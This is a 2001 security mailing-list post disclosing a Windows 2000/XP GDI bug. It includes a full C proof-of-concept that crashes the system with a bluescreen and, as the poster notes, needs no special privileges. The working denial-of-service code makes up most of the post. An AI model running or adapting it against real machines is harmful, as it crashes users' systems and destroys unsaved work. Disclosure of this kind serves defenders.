A GDI bug.
From: PeterB (peter@INKVINE.FLUFF.ORG)Date: 10/27/01
- Previous message: Roger Safian: "Call for Papers - FIRST 2002 - 2nd notice"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Message-ID: <Pine.LNX.4.21.0110271820240.10726-100000@inkvine.fluff.org> Date: Sat, 27 Oct 2001 19:17:41 +0100 From: PeterB <peter@INKVINE.FLUFF.ORG> Subject: A GDI bug. To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Hello.
Lines get wrapped, fix them yourself. It's fairly self-evident.
Crashes Win2K 'SP0', SP1, SP2, WinXP 'SP0'.
MS allegedly know about it, but there is no indication of this on their
web site (nor in the list of post-SP2 hotfixes).
Their support numbers are all national-rate (expensive) numbers, and I'm
not particularly taken with the idea of paying for the privilege of
reporting bugs.
Anyway, STOP 0x1E (unhandled exception) from Win32k.sys (GDI). The
exception is 0xC0000005 (Access Denied). According to the third parameter
(0x0), the exception was caused by an attempt to read (0x0) a memory
address that could not be read (0x000000038).
I suspect that I shouldn't call ShowWindow() upon recepit of a WM_NCCREATE
(WM_NCCREATE is sent to a window shortly before it's asked to create
itself), although it works just fine when using the interactive
windowstation/desktop.
It requires no special privileges to run or anything like that.
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch(message)
{
case WM_NCCREATE:
{
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
SetProcessWindowStation(ws);
HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access
I actually need, I think this is just about everything
SetThreadDesktop(dt);
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default
cursor. One or other (or both?) of these seem to be necessary.
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = TEXT("Crash");
RegisterClass(&wndclass);
HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
// NEVER GETS HERE.
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
-- Peter peter@inkvine.fluff.org http://www.inkvine.fluff.org/~peter/logic kicks ass: (1) Horses have an even number of legs. (2) They have two legs in back and fore legs in front. (3) This makes a total of six legs, which certainly is an odd number of legs for a horse. (4) But the only number that is both odd and even is infinity. (5) Therefore, horses must have an infinite number of legs.
============================================================================ Delivery co-sponsored by Trend Micro, Inc. ============================================================================ BEST-OF-BREED ANTIVIRUS SOLUTION FOR MICROSOFT EXCHANGE 2000 Earn 5% rebate on licenses purchased for Trend Micro ScanMail for Microsoft Exchange 2000 between October 1 and November 16. ScanMail ensures 100% scanning of inbound and outbound traffic and provides remote software management. For program details or to download your 30-day FREE evaluation copy: http://www.antivirus.com/banners/tracking.asp?si=53&bi=245&ul=http://www.a ntivirus.com/smex2000_rebate
- Previous message: Roger Safian: "Call for Papers - FIRST 2002 - 2nd notice"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|